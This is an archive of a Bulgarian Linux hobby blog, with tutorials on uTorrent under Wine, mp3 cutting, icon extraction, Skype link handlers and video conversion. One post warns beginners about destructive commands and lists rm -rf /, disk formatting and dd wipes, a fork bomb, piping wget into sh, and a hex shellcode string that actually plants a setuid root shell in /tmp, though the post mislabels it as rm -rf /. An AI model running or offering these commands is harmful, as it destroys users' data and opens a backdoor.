jump to navigation

Как да асоциираме торент файловете да се отварят с uTorrent под KDE юни 19, 2009

Posted by deathmaster88 in Линукс историйки :P.
add a comment

Здравейте!

Както знаете uTorrent,  един перфектен клиент, който независимо, че е за windows,  работи чудесно с wine. Обаче се сблъскваме с проблема, че като кликнем два пъти на торент файла, той не може да се отвори директно с него. Това е поправимо. В този пост, ще ви покажа как да стане това. За целта, съм ползвал информацията от този линк, като там се описва, как да се направи това за GNOME.

Първо правим същия скрипт, както е посочено там, само че го правим със следната уговорка – ако искаме клиента да е на роден български език трябва леко да модифицираме скрипта.

Ето как изглежда моя скрипт:

#!/bin/sh

if [ "$1" ]; then
torrent_file=”Z:`echo $1 | sed ’s/\//\\\/g’`”
env WINEPREFIX=”/home/daniel/.wine” LC_ALL=”bg_BG” wine \
“Z:\\media\\disk-3\\Program Files\\uTorrent\\uTorrent.exe” “$torrent_file”
else
env WINEPREFIX=”/home/daniel/.wine” LC_ALL=”bg_BG” wine \
“Z:\\media\\disk-3\\Program Files\\uTorrent\\uTorrent.exe”
fi

Това, което е по – различно е LC_ALL=”bg_BG”  пред wine. Другото, което е, че при мен uTorrent е инсталиран в windows дяла ми и затова скрипта е с този път до uTorrent.exe. Настройте го да е както за вашите условия. :)

Сега трябва да направите този файл изпълним. Моя файл се казва utorrent и съм го сложил в домашната си директория. Да припомня, че се прави изпълним с командата:

chmod +x utorrent

Естествено това става като чрез cd сте в директорията на скрипта. ;)

Сега вече смея да кажа, че от тук насетне при мен нещата не се развиха както в линка по – горе.  Аз успях да настроя торент файловете да се отворят чрез този скрип директно като настроих това от KDE настройките за файлови асоциации. Можете да направите това по няколко начина, но аз ще опиша най – лесния. Само за уточнение това стана под KDE 3.5.10. Отворете kcontrol. От там KDE Components-> File Associations. В полето за търсене въведете torrent и трябва да излезе като резултат: application-> x-bittorrent. Избирате това и в дясно давате:

Add и от там избирате скрипта. След което си настройвате със стрелките за нагоре-надолу къде да е мястото на скрипта в списъка с програми, с които може да се отвори този тип файлове. В случая целта е да е на първо място. Давате на Apply и вече трябва да сте готови. При клик на торент файл, той ще се отваря с uTorrent. Е това е! Желая Ви успех!

Още един начин за рязане на mp3-ки на части февруари 7, 2009

Posted by deathmaster88 in Линукс историйки :P.
add a comment

Здравейте!

Ще ви представя още един начин за рязане на mp3-ки на части. Това е идеално особено ако искате да си направите ringtone за вашия мобилен телефон. Този път начина е от конзола, типично в духа на Линукс.

Първо си инсталирайте програмата mpgtx. За убунту това ставаше чрез
sudo apt-get install mpgtx

Сега ако искаме да нарежем една песен на няколко части (примерно 10)
mpgtx -10 input.mp3 -o output
Но при мен това нещо не сработи много при всички песни, но пък за други mpeg файлове работи (тоест може и за видео да се ползва мисля).
Ако пък искаме да изрежем от 10-тата секунда до 40-тата секунда от дадена песен командата е:
mpgsplit input.mp3 [00:00:10-00:00:40] -o file.mp3
Предполагам е ясно, че input и output се заменят по ваш избор, като input е оригиналната песен, a оutput е името на новия файл, който Вие избирате!
Ами това е!
Успех! :)

Извличане на иконки от exe файловете (3-та част). януари 13, 2009

Posted by deathmaster88 in Линукс историйки :P.
add a comment

Здравейте!

Пак ми се наложи да извличам иконки от exe файлове с цел да си направя shortcut на работния плот. Оказва се, че предните два начина са лееко неефективни и до някаква степен трудни. Затова в този пост ще предоставя една безплатна програма ( нямам информация дали е свободна) за Windows, която обаче работи под Wine и върши идеална работа. http://nirsoft.net/utils/iconsext.html е адресът на тази програма, а тя се казва IconsExtract. С какво е по – добра от предните методи. Първо е с графичен интерфейс, при това доста олекотен и опростен. Второ извлича иконки не само от exe-та, но и от всички файлове за windows. Тя ще сканира целия компютър за иконки или определена папка (по ваш избор) и ще извлече иконките в една поддиректория на нейната с име icons. От там отваряте иконката (файлът ще е ico)  с любимия си image viewer и я запаметявате като png файл. От там насетне си създавате shortcut-а както намерите за добре и в зависимост от графичната Ви среда. Ами това е. Пробвайте тази програма и няма да съжалявате. Успех! :)

Празничният ми десктоп тази година :) ноември 30, 2008

Posted by deathmaster88 in Линукс историйки :P.
Tags: , , , ,
add a comment

Ето и няколко screenshots на десктопа ми тази година. Надявам се да ви харесат като само искам да вмъкна, че за да работи снега за compiz версия 0.7 нагоре (или казано за убунту 8.04 нагоре) трябва да се изтегли от тук пакета с неподдържани плъгини за compiz. :) Весели празници и много щастие на всички линукс потребители и не само. :)

snapshot29

snapshot27

snapshot28 snapshot22

Коледни мотиви за вашия десктоп. ноември 30, 2008

Posted by deathmaster88 in Линукс историйки :P.
Tags: , , , , , ,
2 comments

Предния пост беше малко страховит. И все пак наближават едни от най – хубавите празници: Коледа и Нова година. :) Миналата година в един мой пост бях си снимал как ми изглежда линукс десктопа и бях дал обяснение за един плъгин за compiz-fusion който пуска снежинки на десктопа. :) Тази година реших да се поровя из нета за линкове за красиви коледни тапети (wallpapers), които могат да окрасят не само десктопа ви под Линукс, но и Windows десктопа, и примерно MacOs десктопа. :) (мисля, че нямаше нужда от това пояснение, но все пак :) ) И така ето ги линкчетата, които на мен ми харесаха и от които аз ще си харесам моя коледен тапет. :)

http://www.flickr.com/photos/toptechwriter/sets/72157603332620696/

http://wdwparksgal.deviantart.com/art/Christmas-Wallpaper-Entry-100129965

http://dieheart.deviantart.com/art/Merry-Christmas-Wallpaper-nr-1-72926445

http://www.widescreenwallpapers.org/gifts_for_christmas_2-wallpapers.html

http://www.widescreenwallpapers.org/globe_blue-wallpapers.html

http://www.widescreenwallpapers.org/red_globe-wallpapers.html

http://www.dugnet.com/klown/wallpaper/show.php?id=_wallpaper/_linux/christmastux2k4

http://www.mlewallpapers.com/view.php/id/Christmas-Tree-I-506.html

Сега ще дам и един линк, в който е описано как можете да стегнете изцяло вашия Линукс десктоп за празничните дни :) Ето го и него:

http://www.freesoftwaremagazine.com/columns/how_to_gear_up_your_desktop_for_the_christmas_holidays

Лично аз си харесах едни иконки за KDE на коледна тема, които още не са завършени, понеже авторът им ще пусне нова и завършена версия на първи декември. И все пак ето и линка:

http://www.kde-look.org/content/show.php/CristmasTime?content=70964

Това е засега. :) Тапетите съм гледал да са  предимно Creative Commons лиценз. Дано нещо ви допадне. :) А аз като си стегна десктопа за празниците пак ще го споделя с вас. Засега е това. Успех! :)

Опасни команди за вашия Линукс (2) ноември 30, 2008

Posted by deathmaster88 in Линукс историйки :P.
Tags: , ,
add a comment

Както обещах ето го и обобщението. :) Сега ще подредя едни от най – опасните команди за Линукс, които начинаещите потребители НЕ БИВА да изпълняват освен ако не целят да постигнат ефекта, който те имат за цел. И така…

rm -rf /

Това ще изтрие невъзвратимо и напълно вашия руут дял (root). За начинаещите потребители бих желал да поясня, че това е дяла, на който е инсталирана основната част от вашата линукс дистрибуция, даже в 90% от случаите цялата линукс дистрибуция. Или казано по друг начин ако изпълните тази команда (успокоението тук е, че трябва да е само с администраторски права) оставате без вашата линукс дистрибуция и без вашите важни файлове, съхранени на този дял.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Това е същата команда като горната, но в малко по – особен вид. Това е така наречения и hex вариант.

mkfs.ext3 /dev/sda

Това (изпълнено пак като администратор) ще форматира /dev/sda в ext3 файлова система. По принцип този дял е логично да е вашия руут дял, но може и да не е така. В общи линии без значение кой дял ще е дали /dev/sda , /dev/sdb и т.н. не бива да изпълнявате тази команда, защото предполагам и най – начинаещите знаят, че едно форматиране е равносилно на тотално изтриване на информацията на съответния дял. Полезното от тази команда е, че много лесно може да си форматирате дяла, ако това е вашата цел. ;)

:( ){:|:&};:

Това може и да изглежда симпатично и безобидно, но всъщност е известно като forkbomb или казано по друг начин този “сладур” ще накара системата ви да произвежда и изпълнява огромен брой процеси, които ще я накарат да забие, а в доста случаи може да се стигне и до загуба на данни. Сами си преценете дали искате това да стане.

any_command > /dev/sda

Чрез това ще бъде записана празна информация на съответния дял (пак повтарям, че може да бъде направено и за друг дял) и отново системата ще се срине и дяла ще отиде на кино. ;)

wget http://some_untrusted_source -O- | sh

wget е много полезен инструмент за изтегляне на файлове. В случая обаче някой недобросъвестен “колега” може да реши да ви подведе да свалите някакъв скрипт с опасно съдържание и чрез горната команда (акцента пада на -O- | sh )  да го изпълните автоматично, тоест да си съсипете живота. По принцип избягвайте тази команда освен ако линка след wget  не е от 100% сигурен източник, но дори и тогава е по – добре първо да свалите, да прегледате какво има в този скрипт и тогава да го изпълните. ;)

mv /home/yourhomedirectory/* /dev/null

Това ми е любимото. С тази команда просто премествате домашната си директория в /dev/null . Казано по друг начин просто се прощавате веднъж и завинаги с домашната си директория. Тази команда най – вероятно е  да е дадена така:

mv /home/~/* /dev/null

chmod -R 777 /

Това ще даде права за четене и писане на всички папки на вашата дистрибуция за всички потребители. Казано по друг начин ще можете и без администраторски права да си съсипете системата. Но тази команда просто вече я е съсипала, понеже /bin и /etc/bin не могат да имат такива привилегии и те просто ще откажат да работят.

dd if=/dev/zero of=/dev/sda

С тази команда карате системата да форматира твърдия ви диск както е бил, когато сте го купили, тоест без файлова система.

dd if=/dev/random of=/dev/port

С това предизвиквате kernel panic тоест системата ще забие.

Списъкът сигурно е още по – дълъг, но това, консултирайки се с Google и с линка от предния пост по тази тема са едни от най – опасните и често срещани команди, които недобросъвестни потребители дават на начинаещи с цел да им гледат сеира после. Пак повтарям: НЕ ИЗПЪЛНЯВАЙТЕ КОМАНДИ, КОИТО НЕ СА ДАДЕНИ НА ОФИЦИАЛЕН ИЗТОЧНИК КАТО САЙТА ИЛИ ФОРУМА НА ВАШАТА ДИСТРИБУЦИЯ ИЛИ ОТ ДРУГО МЯСТО ЗА КОЕТО СТЕ СИГУРНИ, ЧЕ Е ДОСТОВЕРНО! Извинения за главните букви, но това е само за доброто на начинаещите потребители и ако Вие сте един от тях, то трябва да обърнете внимание на това! Така, че се пазете и успех! :)

Опасни команди за вашия Линукс! (1) ноември 25, 2008

Posted by deathmaster88 in Линукс историйки :P.
add a comment

Първо бих желал да благодаря на por4e2 за поста му във форумите на linux-bg.org, чрез който и аз се запознах с някои от опасните команди. Той е дал линк към този блог. Моля разгледайте предложените от автора на сайта опасни команди, както и коментарите отдолу. Също така разгледайте и бъдещите коментари относно поста на por4e2. Сигурен съм, че ще бъдат дадени интересни мнения. Накрая аз ще обобщя най – опасните и най – често срещаните и ще драсна някой друг ред тук. :) Е това е и внимавайте какво изпълнявате! За да сте сигурни просто копирайте команди от сигурни източници като официални форуми или сайтове и блогове, които са с утвърдено име. Успех! :)

Как да накараме линковете за Skype в web страниците да работят с нашия любим браузър под Линукс ? октомври 24, 2008

Posted by deathmaster88 in Линукс историйки :P.
add a comment

Здравейте!

От доста време исках да накарам Firefox да поддържа линковете за Skype протокола. И след едно просто питане на Гугъл аз намерих резултата. Сега отново бих желал да го дам преведен на български, за Линукс феновете, които не са добре запознати с този език или просто още не са се справили с търсенето в Гугъл. :P Ето и стъпките:

За Firefox:

*Отворете програмата

*Въведете about:config в полето за въвеждане на адрес

*Стигнете чрез скрол бара до секцията network.protocol…

*Проверете дали в тази секция съществува ключ network.protocol-handler.app.skype

*Ако съществува, то просто го редактирайте, ако ли не създайте нов като кликнете с дясното копче на който и да е ключ и изберете New -> String от падащото меню

*Въведете за име на ключа network.protocol-handler.app.skype

*За стойност на ключа въведете /usr/local/bin/skype-action-handler

За Konqueror:

*Намерете директорията за услуги на KDE (това най – вероятно ще бъде ~/.kde/share/services/) В тази директория създайте файл с име skype.protocol и със следното съдържание:

[Protocol]
exec=/usr/local/bin/skype-action-handler “%u”
protocol=skype
input=none
output=none
helper=true
listing=false
reading=false
writing=false
makedir=false
deleting=false

*Запазете файла и като рестартирате Konqueror поддръжката на Skype линкове ще работи

За Opera:

*Кликнете на Tools>>Preferences>>Advanced>>Programs и от там на Add

*В полето Protocol въведете Skype и след това изберете Open With Other Application и в кутията въведете /usr/local/bin/skype-action-handler

*Би трябвало да проработи веднага.

За GNOME базирани браузъри (Epiphany, Firefox 1.5):

*Въведете следните две команди:

/usr/bin/gconftool-2 -s -t string /desktop/gnome/url-handlers/skype/command ‘/usr/local/bin/skype-action-handler “%s”‘

/usr/bin/gconftool-2 -s -t bool /desktop/gnome/url-handlers/skype/enabled true

*Промените трябва да станат ефективни веднага.

Това е! Успех! :)

Как да настроим kbfx да се отваря с Windows копчето? октомври 23, 2008

Posted by deathmaster88 in Линукс историйки :P.
add a comment

Здравейте!
Дълго се чудех как да настроя Kbfx (който както знаете е заместител на старт менюто на KDE) да се отваря с натискане на Win копчето. И скоро открих как става. Благодарение на този линк аз се справих и сега бих искал да го напиша на български език.

Стъпките са в следния ред:

1) Отваряте контролния център на КДЕ, ако не го намирате в старт менюто от Run менюто (alt + f2) можете да въведете kcontrol  и така ще се отвори.

2) Изберете “Input Actions” от табът “Regional & Accessibility”

3) Кликнете на “New Action”

4) В панела отдясно изберете “Keyboard Shortcut -> DCOP Call (Simple)”

5) В табът “Keyboard Shortcut” си натройте Win копчето да е вашият шорткът

6) В настройките на DCOP въведете следното:
Remote Application "kicker"
Remote Object "KBFXInterface"
Called Function "showMenu()"

7) Кликнете на Apply и би трябвало всичко да е наред. Само да вметна, че е добре да сте си махнали настройката от xorg.conf при натискане на Win копчето да се сменя временно езиковата подредба на клавиатурата. Успех! :)

Мобилен телефон и филми в 3gp формат (трета част) октомври 22, 2008

Posted by deathmaster88 in Линукс историйки :P.
add a comment

Здравейте!

След многократни опити (понеже съм си твърдоглав) намерих още един начин за правене на филми за телефон и други портативни устройства. И така… Хващаме си филма, който трябва да е в avi формат и с mencoder  му вмъкваме субтитри по този начин:
mencoder ime_na_file.avi -oac copy -ovc lavc -sub subtitri.sub/.srt -subcp cp1251 -o nov_file.avi

Сега да обясня какво прави това. Първо с -oac copy копираме на новия файл с вградени субтитри същия аудио кодек на оригинала. С -ovc lavc слагаме lavc кодек с параметри по подразбиране на mencoder. С -sub казваме кой е файла със субтитрите (затова съм сложил или .sub или .srt за различни видове субтитри, може би и с .txt ще стане). С -subcp cp1251 слагаме кодировката да е cp1251 особено ако субтитрите са взети от родните ни преводачи и са на български. С -o казваме кой ще е новия файл с вградените субтитри. Така… изчакваме малко и новия файл е готов (това “малко чакане” за различните компютри е различно). Сега този файл може и да не е с много добро качество за гледане, но понеже ще го конвертираме за още по – малък екран от този на нашия монитор, това не е от значение. Сега е важно да си набараме ffmpeg, който да има поддръжка на всички по – особени кодеци. Ако сте на убунту сложете си хранилището на medibuntu и инсталирайте ffmpeg от там. Би трябвало да е наред. Ако не е, то ще се наложи да си го компилирате сами, водейки се от това ръководство. (Само да поясня, че в него изрично е казано, че за по – късните версии на 8.04 подръжка на amr_nb и amr_wb кодеците няма и аз лично не успях да накарам ffmpeg да се компилира с тях под 8.04.1, но пък за сметка на това си ползвам aac кодека, особено за Nokia  е идеален). Сега да предположим, че вашия ffmpeg  е пълна “бойна” готовност и остава да си изберете как да работите с него, а именно: команден ред или графичен фронтенд за него. Един такъв GUI съм разгледал в първия пост за филми на телефон. В същия пост съм и споделил как да работите с ffmpeg от команден ред. Сега искам да ви представя един GUI, който много ме заинтригува. Това е hyper video converter. Ето линк. Та.. какво е уникалното на този фронтенд. Първо лесна инсталация ( в архива има един скрипт, който се стартира под руут). Второ лек за работа и многофункционален. Най – ми хареса, че има възможност да си запазваме настройките като наш личен профил, а готовите профили са на много добро ниво. (профила за мобилни телефони ще ви направи файл с идеално качество, но голям размер; за целта моля прегледайте предните части от тази тема и си сложете правилните настройки или пък сложете такива, които ще ви удовлетворят Вас.) Ами… това е засега. Поиграйте си и няма да останете разочаровани. Успех! :)